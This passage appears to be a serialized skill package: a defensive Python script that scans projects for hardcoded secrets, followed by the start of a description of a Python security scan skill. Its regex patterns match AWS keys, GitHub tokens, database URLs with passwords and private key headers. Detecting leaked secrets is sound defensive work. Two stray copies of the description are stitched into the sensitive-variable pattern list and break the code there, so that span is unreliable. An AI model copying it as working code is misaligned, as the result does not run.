files.\"\"\"\n file: str\n variables: List[str]\n missing_descriptions: List[str]\n sensitive_vars: List[str]\n suggestions: List[str]\n\n\n# Secret patterns with severity and descriptions\nSECRET_PATTERNS = [\n # AWS\n {\n \"name\": \"AWS Access Key ID\",\n \"pattern\": r\"AKIA[0-9A-Z]{16}\",\n \"severity\": \"CRITICAL\",\n \"description\": \"AWS Access Key ID found\",\n \"recommendation\": \"Remove and rotate AWS credentials. Use IAM roles or environment variables.\"\n },\n {\n \"name\": \"AWS Secret Access Key\",\n \"pattern\": r\"(?i)aws_secret_access_key\\s*=\\s*['\\\"][A-Za-z0-9/+=]{40}['\\\"]\",\n \"severity\": \"CRITICAL\",\n \"description\": \"AWS Secret Access Key found\",\n \"recommendation\": \"Remove and rotate AWS credentials immediately.\"\n },\n\n # API Keys\n {\n \"name\": \"Generic API Key\",\n \"pattern\": r\"(?i)(api[_-]?key|apikey)\\s*[=:]\\s*['\\\"][a-zA-Z0-9_\\-]{20,}['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"Potential API key found\",\n \"recommendation\": \"Move API keys to environment variables or secrets manager.\"\n },\n {\n \"name\": \"Generic Secret Key\",\n \"pattern\": r\"(?i)(secret[_-]?key|secretkey)\\s*[=:]\\s*['\\\"][a-zA-Z0-9_\\-]{16,}['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"Potential secret key found\",\n \"recommendation\": \"Move secret keys to environment variables.\"\n },\n\n # GitHub\n {\n \"name\": \"GitHub Personal Access Token\",\n \"pattern\": r\"ghp_[a-zA-Z0-9]{36}\",\n \"severity\": \"CRITICAL\",\n \"description\": \"GitHub Personal Access Token found\",\n \"recommendation\": \"Revoke and regenerate the GitHub token.\"\n },\n {\n \"name\": \"GitHub OAuth Access Token\",\n \"pattern\": r\"gho_[a-zA-Z0-9]{36}\",\n \"severity\": \"CRITICAL\",\n \"description\": \"GitHub OAuth Access Token found\",\n \"recommendation\": \"Revoke the OAuth token.\"\n },\n\n # Stripe\n {\n \"name\": \"Stripe API Key\",\n \"pattern\": r\"sk_(live|test)_[a-zA-Z0-9]{24,}\",\n \"severity\": \"CRITICAL\",\n \"description\": \"Stripe API Key found\",\n \"recommendation\": \"Rotate Stripe API key immediately.\"\n },\n {\n \"name\": \"Stripe Publishable Key\",\n \"pattern\": r\"pk_(live|test)_[a-zA-Z0-9]{24,}\",\n \"severity\": \"MEDIUM\",\n \"description\": \"Stripe Publishable Key found (less sensitive but should still be protected)\",\n \"recommendation\": \"Move to environment variables.\"\n },\n\n # Database\n {\n \"name\": \"Database URL with Password\",\n \"pattern\": r\"(?i)(postgres|mysql|mongodb|redis)://[^:]+:[^@]+@[^\\s'\\\"]+\",\n \"severity\": \"CRITICAL\",\n \"description\": \"Database connection string with credentials found\",\n \"recommendation\": \"Move database credentials to environment variables.\"\n },\n\n # Django\n {\n \"name\": \"Django Secret Key\",\n \"pattern\": r\"(?i)secret_key\\s*=\\s*['\\\"][^'\\\"]{20,}['\\\"]\",\n \"severity\": \"CRITICAL\",\n \"description\": \"Django SECRET_KEY appears to be hardcoded\",\n \"recommendation\": \"Move SECRET_KEY to environment variable.\"\n },\n {\n \"name\": \"Django Insecure Secret Key\",\n \"pattern\": r\"django-insecure-[a-zA-Z0-9_\\-]+\",\n \"severity\": \"CRITICAL\",\n \"description\": \"Django insecure secret key (development key) found\",\n \"recommendation\": \"Generate a new secure SECRET_KEY for production.\"\n },\n\n # Flask\n {\n \"name\": \"Flask Secret Key\",\n \"pattern\": r\"(?i)app\\.secret_key\\s*=\\s*['\\\"][^'\\\"]+['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"Flask secret_key appears to be hardcoded\",\n \"recommendation\": \"Move secret_key to environment variable.\"\n },\n\n # JWT\n {\n \"name\": \"JWT Secret\",\n \"pattern\": r\"(?i)(jwt[_-]?secret|jwt[_-]?key)\\s*[=:]\\s*['\\\"][^'\\\"]{8,}['\\\"]\",\n \"severity\": \"CRITICAL\",\n \"description\": \"JWT secret key found\",\n \"recommendation\": \"Move JWT secret to environment variable.\"\n },\n\n # OAuth\n {\n \"name\": \"OAuth Client Secret\",\n \"pattern\": r\"(?i)(client[_-]?secret|oauth[_-]?secret)\\s*[=:]\\s*['\\\"][a-zA-Z0-9_\\-]{16,}['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"OAuth client secret found\",\n \"recommendation\": \"Move OAuth secrets to environment variables.\"\n },\n\n # Generic Passwords\n {\n \"name\": \"Hardcoded Password\",\n \"pattern\": r\"(?i)(password|passwd|pwd)\\s*[=:]\\s*['\\\"][^'\\\"]{4,}['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"Potential hardcoded password found\",\n \"recommendation\": \"Remove hardcoded passwords. Use environment variables or secrets manager.\"\n },\n\n # Private Keys\n {\n \"name\": \"RSA Private Key\",\n \"pattern\": r\"-----BEGIN RSA PRIVATE KEY-----\",\n \"severity\": \"CRITICAL\",\n \"description\": \"RSA private key found in code\",\n \"recommendation\": \"Remove private key from code. Store in secure location.\"\n },\n {\n \"name\": \"SSH Private Key\",\n \"pattern\": r\"-----BEGIN OPENSSH PRIVATE KEY-----\",\n \"severity\": \"CRITICAL\",\n \"description\": \"SSH private key found in code\",\n \"recommendation\": \"Remove SSH key from code. Store in secure location.\"\n },\n {\n \"name\": \"PGP Private Key\",\n \"pattern\": r\"-----BEGIN PGP PRIVATE KEY BLOCK-----\",\n \"severity\": \"CRITICAL\",\n \"description\": \"PGP private key found in code\",\n \"recommendation\": \"Remove PGP key from code.\"\n },\n\n # Google\n {\n \"name\": \"Google API Key\",\n \"pattern\": r\"AIza[0-9A-Za-z_-]{35}\",\n \"severity\": \"HIGH\",\n \"description\": \"Google API Key found\",\n \"recommendation\": \"Restrict API key or move to environment variable.\"\n },\n {\n \"name\": \"Google OAuth Client ID\",\n \"pattern\": r\"[0-9]+-[a-z0-9]+\\.apps\\.googleusercontent\\.com\",\n \"severity\": \"MEDIUM\",\n \"description\": \"Google OAuth Client ID found\",\n \"recommendation\": \"Move to environment variable.\"\n },\n\n # Slack\n {\n \"name\": \"Slack Token\",\n \"pattern\": r\"xox[baprs]-[0-9a-zA-Z]{10,}\",\n \"severity\": \"HIGH\",\n \"description\": \"Slack token found\",\n \"recommendation\": \"Revoke and regenerate Slack token.\"\n },\n {\n \"name\": \"Slack Webhook URL\",\n \"pattern\": r\"https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+\",\n \"severity\": \"MEDIUM\",\n \"description\": \"Slack Webhook URL found\",\n \"recommendation\": \"Move webhook URL to environment variable.\"\n },\n\n # Twilio\n {\n \"name\": \"Twilio API Key\",\n \"pattern\": r\"SK[a-fA-F0-9]{32}\",\n \"severity\": \"HIGH\",\n \"description\": \"Twilio API Key found\",\n \"recommendation\": \"Rotate Twilio API key.\"\n },\n\n # SendGrid\n {\n \"name\": \"SendGrid API Key\",\n \"pattern\": r\"SG\\.[a-zA-Z0-9_-]{22}\\.[a-zA-Z0-9_-]{43}\",\n \"severity\": \"HIGH\",\n \"description\": \"SendGrid API Key found\",\n \"recommendation\": \"Rotate SendGrid API key.\"\n },\n\n # Heroku\n {\n \"name\": \"Heroku API Key\",\n \"pattern\": r\"(?i)heroku.*['\\\"][0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"Heroku API Key found\",\n \"recommendation\": \"Rotate Heroku API key.\"\n },\n\n # Generic Bearer Token\n {\n \"name\": \"Bearer Token\",\n \"pattern\": r\"(?i)(bearer|authorization)\\s*[=:]\\s*['\\\"]Bearer\\s+[a-zA-Z0-9_\\-\\.]+['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"Bearer token found\",\n \"recommendation\": \"Move token to environment variable.\"\n },\n\n # Base64 Encoded Secrets (potential)\n {\n \"name\": \"Base64 Encoded Secret\",\n \"pattern\": r\"(?i)(secret|key|token|password)\\s*[=:]\\s*['\\\"][A-Za-z0-9+/]{40,}={0,2}['\\\"]\",\n \"severity\": \"MEDIUM\",\n \"description\": \"Potential base64-encoded secret found\",\n \"recommendation\": \"Review and move to environment variable if sensitive.\"\n },\n]\n\n# Files and directories to skip\nSKIP_DIRS = {\n '.git', '.svn', '.hg', 'node_modules', '__pycache__', '.venv', 'venv',\n 'env', '.tox', '.pytest_cache', '.mypy_cache', 'build', 'dist',\n 'egg-info', '.eggs', 'site-packages'\n}\n\nSKIP_FILES = {\n '.gitignore', '.dockerignore', 'package-lock.json', 'yarn.lock',\n 'Pipfile.lock', 'poetry.lock', '*.pyc', '*.pyo', '*.min.js', '*.min.css'\n}\n\n# Real .env files to skip by default (contain actual secrets)\nREAL_ENV_FILES = {\n '.env', '.env.local', '.env.development', '.env.production',\n '.env.staging', '.env.test', '.env.dev', '.env.prod',\n '.env.development.local', '.env.production.local',\n '.env.test.local', '.env.staging.local'\n}\n\n# Template .env files to analyze (safe to scan, should be in version control)\nENV_TEMPLATE_FILES = {\n '.env.example', '.env.sample', '.env.template', '.env.defaults'\n}\n\n# File extensions to scan\nSCAN_EXTENSIONS = {\n '.py', '.pyw', '.pyx', '.pxd', # Python\n '.json', '.yaml', '.yml', '.toml', '.ini', '.cfg', '.conf', # Config\n '.sh', '.bash', '.zsh', # Shell\n '.md', '.txt', '.rst', # Documentation (may contain examples)\n '.sql', # SQL\n '.html', '.htm', '.js', '.jsx', '.ts', '.tsx', # Web\n}\n\n# Sensitive variable patterns for env template analysis\nSENSITIVE_VAR_PATTERNS = [\n r'.*SECRET.*', r'.*KEY.*', r'.*TOKEN.*', r'.*PASSWORD.*',\n r'.*CREDENTIAL.*', r'.*AUTH.*', r'.*API_KEY.*', r'.*PRIVATE.*',\n r'DATABASE_URL', r'REDIS_URL', r'MONGODB_URI', r'.*_URI

Python Security Scan Skill This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities. When to Use This Skill - Security audits of Python applications - Code review for security vulnerabilities - Pre-deployment security checks - Dependency vulnerability assessment - Detecting hardcoded secrets and credentials - Framework-specific security reviews (Flask, Django, FastAPI) Supported Frameworks This skill automatically detects and applies framework-specific checks for: - Flask - Template…

,\n r'.*_DSN

Python Security Scan Skill This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities. When to Use This Skill - Security audits of Python applications - Code review for security vulnerabilities - Pre-deployment security checks - Dependency vulnerability assessment - Detecting hardcoded secrets and credentials - Framework-specific security reviews (Flask, Django, FastAPI) Supported Frameworks This skill automatically detects and applies framework-specific checks for: - Flask - Template…

, r'AWS_.*', r'STRIPE_.*', r'OPENAI_.*', r'ANTHROPIC_.*',\n r'DJANGO_SECRET_KEY', r'FLASK_SECRET_KEY', r'JWT_SECRET'\n]\n\n\ndef should_skip_path(path: Path) -> bool:\n \"\"\"Check if path should be skipped.\"\"\"\n for part in path.parts:\n if part in SKIP_DIRS:\n return True\n return False\n\n\ndef should_scan_file(path: Path, include_env_files: bool = False) -> bool:\n \"\"\"Check if file should be scanned.\"\"\"\n if path.name in SKIP_FILES:\n return False\n\n # Handle .env files specially\n if path.name in REAL_ENV_FILES:\n return include_env_files # Only scan if explicitly requested\n\n # Template files are handled separately\n if path.name in ENV_TEMPLATE_FILES:\n return False # Analyzed separately\n\n if path.suffix in SCAN_EXTENSIONS:\n return True\n\n return False\n\n\ndef is_sensitive_var(var_name: str) -> bool:\n \"\"\"Check if a variable name matches sensitive patterns.\"\"\"\n var_upper = var_name.upper()\n for pattern in SENSITIVE_VAR_PATTERNS:\n if re.match(pattern, var_upper):\n return True\n return False\n\n\ndef analyze_env_template(filepath: Path) -> Optional[EnvTemplateAnalysis]:\n \"\"\"Analyze an .env.example template file.\"\"\"\n try:\n content = filepath.read_text(encoding='utf-8', errors='ignore')\n lines = content.split('\\n')\n\n variables = []\n missing_descriptions = []\n sensitive_vars = []\n suggestions = []\n\n prev_line_comment = False\n\n for i, line in enumerate(lines):\n stripped = line.strip()\n\n # Track if previous line was a comment (description)\n if stripped.startswith('#'):\n prev_line_comment = True\n continue\n\n # Parse variable assignment\n if '=' in stripped and not stripped.startswith('#'):\n var_name = stripped.split('=')[0].strip()\n var_value = stripped.split('=', 1)[1].strip() if '=' in stripped else ''\n\n if var_name:\n variables.append(var_name)\n\n # Check if sensitive variable\n if is_sensitive_var(var_name):\n sensitive_vars.append(var_name)\n\n # Check if value looks like a real secret (not placeholder)\n if var_value and not any(p in var_value.lower() for p in [\n 'your_', 'xxx', 'placeholder', 'changeme', 'example',\n 'replace', 'todo', 'fill', '\u003c', '>', 'insert'\n ]) and len(var_value) > 10:\n suggestions.append(\n f\"{var_name}: Value looks like a real secret. \"\n f\"Use a placeholder like 'your_{var_name.lower()}_here'\"\n )\n\n # Check for missing description\n if not prev_line_comment and is_sensitive_var(var_name):\n missing_descriptions.append(var_name)\n\n prev_line_comment = False\n\n # Add framework-specific suggestions\n common_vars = {\n 'SECRET_KEY': 'Django/Flask secret key for cryptographic signing',\n 'DATABASE_URL': 'Database connection string',\n 'DEBUG': 'Debug mode flag (should be False in production)',\n }\n for var, desc in common_vars.items():\n if var not in variables:\n suggestions.append(f\"Consider adding {var} ({desc}) if used in your project\")\n\n return EnvTemplateAnalysis(\n file=str(filepath),\n variables=variables,\n missing_descriptions=missing_descriptions,\n sensitive_vars=sensitive_vars,\n suggestions=suggestions[:5] # Limit suggestions\n )\n\n except Exception as e:\n print(f\"{YELLOW}Warning: Could not analyze {filepath}: {e}{NC}\", file=sys.stderr)\n return None\n\n\ndef find_env_templates(root_dir: str) -> List[Path]:\n \"\"\"Find all .env template files in the project.\"\"\"\n root_path = Path(root_dir)\n templates = []\n\n for template_name in ENV_TEMPLATE_FILES:\n for filepath in root_path.rglob(template_name):\n skip = False\n for part in filepath.parts:\n if part in SKIP_DIRS:\n skip = True\n break\n if not skip:\n templates.append(filepath)\n\n return templates\n\n\ndef scan_line(line: str, line_number: int, file_path: str) -> List[Finding]:\n \"\"\"Scan a single line for secrets.\"\"\"\n findings = []\n\n # Skip comments and common false positives\n stripped = line.strip()\n if stripped.startswith('#') and 'env' not in stripped.lower():\n return findings\n\n for pattern_info in SECRET_PATTERNS:\n pattern = pattern_info[\"pattern\"]\n matches = re.finditer(pattern, line)\n\n for match in matches:\n matched_text = match.group()\n\n # Skip example/placeholder values\n if any(placeholder in matched_text.lower() for placeholder in [\n 'example', 'your_', 'xxx', 'placeholder', 'changeme',\n 'insert', '\u003cyour', 'my_', 'test_key', 'dummy'\n ]):\n continue\n\n # Skip environment variable references\n if re.search(r'os\\.environ|getenv|os\\.getenv|\\$\\{?\\w+\\}?', line):\n continue\n\n findings.append(Finding(\n file=file_path,\n line_number=line_number,\n line_content=line.strip()[:100],\n pattern_name=pattern_info[\"name\"],\n severity=pattern_info[\"severity\"],\n description=pattern_info[\"description\"],\n recommendation=pattern_info[\"recommendation\"]\n ))\n break\n\n return findings\n\n\ndef scan_file(file_path: Path) -> List[Finding]:\n \"\"\"Scan a file for secrets.\"\"\"\n findings = []\n\n try:\n with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:\n for line_number, line in enumerate(f, 1):\n findings.extend(scan_line(line, line_number, str(file_path)))\n except Exception as e:\n print(f\"{YELLOW}Warning: Could not scan {file_path}: {e}{NC}\", file=sys.stderr)\n\n return findings\n\n\ndef scan_directory(directory: Path, include_env_files: bool = False,\n verbose: bool = False) -> List[Finding]:\n \"\"\"Scan a directory for secrets.\"\"\"\n all_findings = []\n files_scanned = 0\n\n for root, dirs, files in os.walk(directory):\n dirs[:] = [d for d in dirs if d not in SKIP_DIRS and not d.startswith('.')]\n\n for file in files:\n file_path = Path(root) / file\n\n if should_skip_path(file_path):\n continue\n\n if not should_scan_file(file_path, include_env_files):\n continue\n\n if verbose:\n print(f\"Scanning: {file_path}\")\n\n findings = scan_file(file_path)\n all_findings.extend(findings)\n files_scanned += 1\n\n if verbose:\n print(f\"\\nScanned {files_scanned} files\")\n\n return all_findings\n\n\ndef print_env_template_analysis(analyses: List[EnvTemplateAnalysis], output_format: str = 'text'):\n \"\"\"Print environment template analysis.\"\"\"\n if output_format == 'json':\n return\n\n if not analyses:\n print(f\"\\n{YELLOW}No .env.example or .env.template files found.{NC}\")\n print(f\"Consider creating one to document required environment variables.\\n\")\n return\n\n print(f\"\\n{CYAN}========================================{NC}\")\n print(f\"{CYAN} Environment Template Analysis{NC}\")\n print(f\"{CYAN}========================================{NC}\\n\")\n\n for analysis in analyses:\n print(f\"{BLUE}File: {analysis.file}{NC}\")\n print(f\" Total variables: {len(analysis.variables)}\")\n print(f\" Sensitive variables: {len(analysis.sensitive_vars)}\")\n\n if analysis.sensitive_vars:\n print(f\"\\n {YELLOW}Sensitive variables defined:{NC}\")\n for var in analysis.sensitive_vars:\n print(f\" - {var}\")\n\n if analysis.missing_descriptions:\n print(f\"\\n {YELLOW}Missing descriptions (add comment above):{NC}\")\n for var in analysis.missing_descriptions[:5]:\n print(f\" - {var}\")\n\n if analysis.suggestions:\n print(f\"\\n {BLUE}Suggestions:{NC}\")\n for suggestion in analysis.suggestions:\n print(f\" - {suggestion}\")\n\n print()\n\n\ndef print_findings(findings: List[Finding], env_analyses: List[EnvTemplateAnalysis] = None,\n output_format: str = 'text') -> None:\n \"\"\"Print findings in specified format.\"\"\"\n if output_format == 'json':\n output = {\n 'secrets': [asdict(f) for f in findings],\n 'env_templates': [\n {\n 'file': a.file,\n 'variables': a.variables,\n 'sensitive_vars': a.sensitive_vars,\n 'missing_descriptions': a.missing_descriptions,\n 'suggestions': a.suggestions\n }\n for a in (env_analyses or [])\n ]\n }\n print(json.dumps(output, indent=2))\n return\n\n print(f\"\\n{BLUE}========================================{NC}\")\n print(f\"{BLUE} Secret Scan Results{NC}\")\n print(f\"{BLUE}========================================{NC}\\n\")\n\n if not findings:\n print(f\"{GREEN}No secrets found in source code!{NC}\")\n else:\n # Group by severity\n by_severity = defaultdict(list)\n for f in findings:\n by_severity[f.severity].append(f)\n\n severity_order = ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW', 'INFO']\n severity_colors = {\n 'CRITICAL': RED,\n 'HIGH': RED,\n 'MEDIUM': YELLOW,\n 'LOW': GREEN,\n 'INFO': BLUE\n }\n\n print(f\"Found {RED}{len(findings)}{NC} potential secrets\\n\")\n\n for severity in severity_order:\n if severity not in by_severity:\n continue\n\n color = severity_colors.get(severity, NC)\n print(f\"{color}[{severity}]{NC} ({len(by_severity[severity])} findings)\")\n print(\"-\" * 50)\n\n for finding in by_severity[severity]:\n print(f\" Pattern: {finding.pattern_name}\")\n print(f\" File: {finding.file}:{finding.line_number}\")\n print(f\" Line: {finding.line_content}\")\n print(f\" Fix: {finding.recommendation}\")\n print()\n\n # Print env template analysis\n if env_analyses is not None:\n print_env_template_analysis(env_analyses, output_format)\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Scan Python projects for hardcoded secrets and credentials',\n epilog='''\nBy default, real .env files are SKIPPED (they contain actual secrets).\nOnly .env.example/.env.template files are analyzed for documentation quality.\nUse --include-env-files to explicitly scan real .env files (not recommended).\n '''\n )\n parser.add_argument(\n 'path',\n nargs='?',\n default='.',\n help='Path to scan (default: current directory)'\n )\n parser.add_argument(\n '-f', '--format',\n choices=['text', 'json'],\n default='text',\n help='Output format (default: text)'\n )\n parser.add_argument(\n '-v', '--verbose',\n action='store_true',\n help='Verbose output'\n )\n parser.add_argument(\n '--exit-code',\n action='store_true',\n help='Exit with non-zero code if secrets found'\n )\n parser.add_argument(\n '--include-env-files',\n action='store_true',\n help='Also scan real .env files (not recommended - they should contain secrets)'\n )\n parser.add_argument(\n '--skip-env-analysis',\n action='store_true',\n help='Skip .env.example template analysis'\n )\n\n args = parser.parse_args()\n\n path = Path(args.path).resolve()\n\n if not path.exists():\n print(f\"{RED}Error: Path does not exist: {path}{NC}\", file=sys.stderr)\n sys.exit(1)\n\n print(f\"{BLUE}Scanning {args.path} for secrets...{NC}\", file=sys.stderr)\n\n if not args.include_env_files:\n print(f\"{BLUE}(Skipping real .env files - use --include-env-files to scan them){NC}\\n\", file=sys.stderr)\n\n # Scan for secrets\n if path.is_file():\n findings = scan_file(path)\n else:\n findings = scan_directory(path, include_env_files=args.include_env_files,\n verbose=args.verbose)\n\n # Analyze env templates\n env_analyses = None\n if not args.skip_env_analysis and path.is_dir():\n templates = find_env_templates(str(path))\n env_analyses = []\n for template in templates:\n analysis = analyze_env_template(template)\n if analysis:\n env_analyses.append(analysis)\n\n print_findings(findings, env_analyses, output_format=args.format)\n\n if args.exit_code and findings:\n critical_high = sum(1 for f in findings if f.severity in ['CRITICAL', 'HIGH'])\n sys.exit(min(critical_high, 125))\n\n\nif __name__ == '__main__':\n main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":23952,"content_sha256":"64b2123ede2a0ad871e3aa34ab308d78a300044ab0b4d50f6ac96fe7bf319eaf"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"Python Security Scan Skill","type":"text"}]},{"type":"paragraph","content":[{"text":"This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"When to Use This Skill","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Security audits of Python applications","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Code review for security vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Pre-deployment security checks","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Dependency vulnerability assessment","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Detecting hardcoded secrets and credentials","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Framework-specific security reviews (Flask, Django, FastAPI)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Supported Frameworks","type":"text"}]},{"type":"paragraph","content":[{"text":"This skill automatically detects and applies framework-specific checks for:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Flask","type":"text","marks":[{"type":"strong"}]},{"text":" - Template injection, session security, CORS, extensions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Django","type":"text","marks":[{"type":"strong"}]},{"text":" - ORM injection, CSRF, template security, settings","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"FastAPI","type":"text","marks":[{"type":"strong"}]},{"text":" - Dependency injection, Pydantic validation, OAuth2","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"General Python","type":"text","marks":[{"type":"strong"}]},{"text":" - Core language vulnerabilities applicable to all projects","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Scan Types","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"1. Quick Scan","type":"text"}]},{"type":"paragraph","content":[{"text":"Fast scan focusing on critical vulnerabilities:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Hardcoded secrets, API keys, and credentials","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Dangerous function usage (","type":"text"},{"text":"eval","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"exec","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"pickle.loads","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Command injection via ","type":"text"},{"text":"subprocess","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"os.system","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SQL injection patterns","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Known vulnerable dependencies","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"2. Full Scan","type":"text"}]},{"type":"paragraph","content":[{"text":"Comprehensive security assessment covering:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"All OWASP Top 10:2025 categories","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Python-specific vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Framework-specific security issues","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Injection vulnerabilities (SQL, NoSQL, Command, LDAP)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Insecure deserialization","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Authentication and authorization flaws","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cryptographic failures","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Security misconfigurations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Dependency audit (CVE check)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Environment variable and secrets exposure","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"3. Targeted Scan","type":"text"}]},{"type":"paragraph","content":[{"text":"Focus on specific vulnerability categories:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--injection","type":"text","marks":[{"type":"code_inline"}]},{"text":" - SQL/NoSQL/Command/LDAP injection","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--deserialization","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Pickle, YAML, JSON deserialization","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--auth","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Authentication/authorization issues","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--secrets","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Hardcoded credentials","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--deps","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Dependency vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--crypto","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Cryptographic issues","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--flask","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Flask-specific vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--django","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Django-specific vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--fastapi","type":"text","marks":[{"type":"code_inline"}]},{"text":" - FastAPI-specific vulnerabilities","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Scan Procedure","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Step 1: Project Discovery","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identify project type and framework:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check for ","type":"text"},{"text":"requirements.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Pipfile","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"pyproject.toml","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"setup.py","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Detect Flask (","type":"text"},{"text":"from flask import","type":"text","marks":[{"type":"code_inline"}]},{"text":"), Django (","type":"text"},{"text":"django.conf","type":"text","marks":[{"type":"code_inline"}]},{"text":"), FastAPI (","type":"text"},{"text":"from fastapi import","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Locate configuration files","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Map the codebase structure","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Step 2: Framework Detection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"# Detection patterns\nFlask: \"from flask import\", \"Flask(__name__)\"\nDjango: \"django.conf.settings\", \"INSTALLED_APPS\", \"manage.py\"\nFastAPI: \"from fastapi import\", \"FastAPI()\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Step 3: Dependency Audit","type":"text"}]},{"type":"paragraph","content":[{"text":"Run the dependency audit script:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"./scripts/dependency-audit.sh /path/to/project","type":"text"}]},{"type":"paragraph","content":[{"text":"Or manually:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"pip-audit\n# or\nsafety check","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Step 4: Secret Scanning","type":"text"}]},{"type":"paragraph","content":[{"text":"Scan for hardcoded 